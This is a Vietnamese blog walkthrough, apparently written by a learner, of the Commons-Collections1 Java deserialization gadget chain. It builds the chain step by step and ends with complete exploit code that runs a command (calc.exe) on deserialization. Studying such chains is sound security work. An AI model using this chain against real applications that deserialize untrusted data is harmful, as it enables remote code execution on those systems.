# Commons-Collections[Phần 1]
Đây là một series phân tích 7 gadget trong bộ Commons-Collections, và là phần 1 nên mình sẽ phân tích chain Commons-Collections1.
Trước khi đi vào phân tích chain này, ta sẽ tìm hiểu một số concept cơ bản trước.
## Java Polymorphism(Đa hình)
Polymorphism có nghĩa là "nhiều dạng", và nó xảy ra khi ta có nhiều class có liên quan với nhau bằng cách inheritance.
Inheritance cho phép chúng ta kế thừa các thuộc tính và method của class khác khác. Java Polymorphism
sử dụng các method đó để thực hiện các nhiệm vụ khác nhau. Điều này cho phép ta thực hiện một hành động theo những cách khác nhau.
Ví dụ:
```java
class Animal {
public void animalSound() {
System.out.println("The animal makes a sound");
}
}
class Pig extends Animal {
public void animalSound() {
System.out.println("The pig says: wee wee");
}
}
class Dog extends Animal {
public void animalSound() {
System.out.println("The dog says: bow wow");
}
}
```
## CC1
Chain này trông như sau:
```
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
```
Ta để ý đoạn sau:

Nó sử dụng Java Polymorphism để dẫn đến chạy Runtime.exec(). Interface được inheritance ở đây là Transformer.




Ta có thể tóm tắt bằng hình sau:

Biến Transformer trong class ChainedTransformer:

iTransformers là một array có dạng là Transformer. Điều này có nghĩa là các object của các class inheritance từ Transformer có thể được đưa vào array iTransformers.
Sau đó Transformer trong iTransformers array có thể được gọi trong method ChainedTransformer::transform

method này sẽ gọi đến method transform() của các phần tử trong array iTransformers.
#### InvokeTransformer:
method transform() của class này như sau:
```java
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
```
Các biến được sử dụng trong method này là input(arg của method transform()), iMethodName, iArg, iParamTypes được định nghĩa bằng Class Constructor

3 dòng chính của method transform() là:

Đầu tiên nó sẽ lấy class của input bằng method getClass() của reflection API.
Sau đó gọi đến method getMethod(). method này được sử dụng để lấy method được chỉ đỉnh của mộ class với kiểu tham số được chỉ định.
```java
public Method getMethod(String methodName, Class[] parameterType)
```
Sau đó thực thi method invoke(), đây là method dùng để gọi method.
```java
public Object invoke(Object obj, Object... args)
```
Vậy ta có thể trigger Runtime.getRuntime().exec() nếu:
```java
input = Runtime.getRuntime()
iMethodName = "exec"
iParamType = "String.class"
iArgs = "calc.exe"
```
Test:
```java
package com.vanir;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Test {
public static void main(String[] args){
InvokerTransformer testExec = new InvokerTransformer("exec",new Class[] {String.class}, new Object[]{ "calc"});
testExec.transform(Runtime.getRuntime());
}
}
```

Bây giờ ta sẽ đưa nó vào ChainedTransformer như sau:
```java
package com.vanir;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class Test {
public static void main(String[] args){
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("exec",new Class[] {String.class}, new Object[]{ "calc"})
};
ChainedTransformer a = new ChainedTransformer(transformers);
a.transform(Runtime.getRuntime());
}
}
```
Có vẻ hợp lý nhưng như thế này là không đủ, vì Class java.lang.Runtime không được implement Serializable interface.

Để có thể bypass được điều này ta có thể dùng Reflect để gọi đến Runtime object mà không cần gọi đến class Runtime
```java
Runtime rt = (Runtime) Runtime.class.getMethod("getRuntime").invoke(null);
rt.exec("calc.exe");
```
Convert sang dạng InvokerTransformer
```java
package com.vanir;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
//Runtime rt = (Runtime) Runtime.class.getMethod("getRuntime").invoke(null);
//rt.exec("calc.exe");
public class Test {
public static void main(String[] args){
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer a = new ChainedTransformer(transformers);
a.transform(new Object());
}
}
```
Giải thích: từng phần tử của array transformer sẽ được đi qua method transform() của class ChainedTransformer.

+ Ở vòng lặp đầu tiên isTransformers[i] là `new ConstantTransformer(Runtime.class)`, khi gọi đến method transform của Object này nó sẽ trả về một constant của class:  Sau đó nó sẽ gán kết quả vào tham số object của method ChainedTransformer::transform()
+ Ở vòng lặp thứ 2, object ở đây là Instance của class Runtime, iTransformers[i] là `new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null })` Do đó khi qua method transform của InvokerTransformer với tham số là Runtime, kết quả sẽ là Runtime.getMethod()
Tương tự với vòng lặp 3 và 4 kết quả cuối cùng sẽ là
```java
Runtime rt = (Runtime) Runtime.class.getMethod("getRuntime").invoke(null);
rt.exec("calc.exe");
```

Đến đây thì coi như ta đã xong 50% của chain rồi, cụ thể là đoạn này:

### Lazymap
Theo như chain thì để trigger ChainedTransformer.transform() thì sẽ dùng LazyMap.get().
Search trong LazyMap.get() ta sẽ thấy nó method sau gọi đến method transform():

Nếu factory là một instance của class ChainedTransformer thì sẽ thỏa mãn

LazyMap có một constructor:

Nhưng nó là private, chỉ có thể gọi bên trong class. Ta để ý method sau:

Do đó ta có thể tận dụng nó như sau:
```
ChainedTransformer a = new ChainedTransformer(transformers);
LazyMap.decorate(new HashMap(), a).get(new Object());
```

### AnnotationInvocationHandler.invoke()
Tiếp theo ta phải tìm cách trigger LazyMap::get() method.
Để làm được điều này ta sử dụng `AnnotationInvocationHandler.invoke()`

Method invoke():

Để ý dòng 78, nếu var7 là default thì nó sẽ chạy method get() với input là var4.
Sau khi test qua thì mình thấy theo mặc định là var7 nó sẽ không đổi và không dính case nào, nên nếu this.memberValues là instance của LazyMap thì chúng sẽ match
Constructor:

Vậy ta có thể set this.MemverValues bằng cách set var2 của AnnotationInvocationHandler.
Tiếp theo là làm thế nào để trigger AnnotationInvocationHandler.invoke()
Ta có thể thấy rằng AnnontationInvocationHandler là một private class. Do đó ta phải dùng Java Reflection để Access đến nó:
```java
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
```
Nhưng đến đây thì cũng không làm gì tiếp được.
Ta có thể thấy class AnnotaionInvocationHandler implement interface Invocation.
Interface này được dùng để triển khai Java Dynamic Proxy.
Chi tiết về Java Dynamic Proxy có thể tham khảo tại đây:
https://viblo.asia/p/class-proxy-trong-java-va-cac-ung-dung-yMnKMYvgK7P
và đây
https://blog.csdn.net/yaomingyang/article/details/80981004
Method chính của Java Proxy là newProxyInstance().
Proxy có thể được triển khai bằng cách pass ClassLoader, interfaces, và class triển khai InvocationHandler mà nó sẽ ghi đè method invoke(). Sau khi proxy thành công, khi ta gọi đến orinal class, method invoke() của class triển khai InvocationHandler sẽ được gọi
##### Tạo handler cho proxy class:
Như ta đã biết thì class AnnotaionInvocationHandler là Private, nên ta phải kết hợp với reflection để để tạo Handler
```java
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler triggerInvoke = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
```
##### Tạo proxy instance:
Sau khi tạo handler, ta sẽ tạo proxy instance, proxy instance ở đây phải implements Map, vì LazyMap implements Map interface.
```java
Map map = new HashMap();
Map proxyMap = (Map) Proxy.newProxyInstance(map.getClass().getClassLoader(), map.getClass().getInterfaces(), triggerInvoke);
```
Lúc này chỉ cần ta gọi đến bất kì method nào của Map như size(); AnnontationHandler::invoke() sẽ được thực thi và tiếp tục chain như ta đã phân tích và gọi đến calc.exe

Và hiển nhiên rằng ta không thể tự gọi đến method size() như trên.
Nhưng ta hãy để ý method readObject() của AnnontationHandler:

Dòng 352 nó gọi đến method entrySet() của this.memberTypes() tức là cái LazyMap. Và method readObject() chính là source của ta.
Vậy ta chỉ cần đưa cái proxyMap vào argument của AnnotationHandler là xong.
Full Chain:
```java
package com.vanir;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.File;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer a = new ChainedTransformer(transformers);
Map lazyMap = (Map) LazyMap.decorate(new HashMap(), a);
Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler triggerInvoke = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Map map = new HashMap();
Map proxyMap = (Map) Proxy.newProxyInstance(map.getClass().getClassLoader(), map.getClass().getInterfaces(), triggerInvoke);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap);
Serialize.saveObject(handler);
Deserialize.readObject(new File("out.txt"));
}
}
```
Sau chain này thì mình đã học được rất nhiều thứ nhưng cũng có một số chỗ còn hơi lấn cấn, mong là sẽ nhuần nhuyễn hơn ở các bài sau.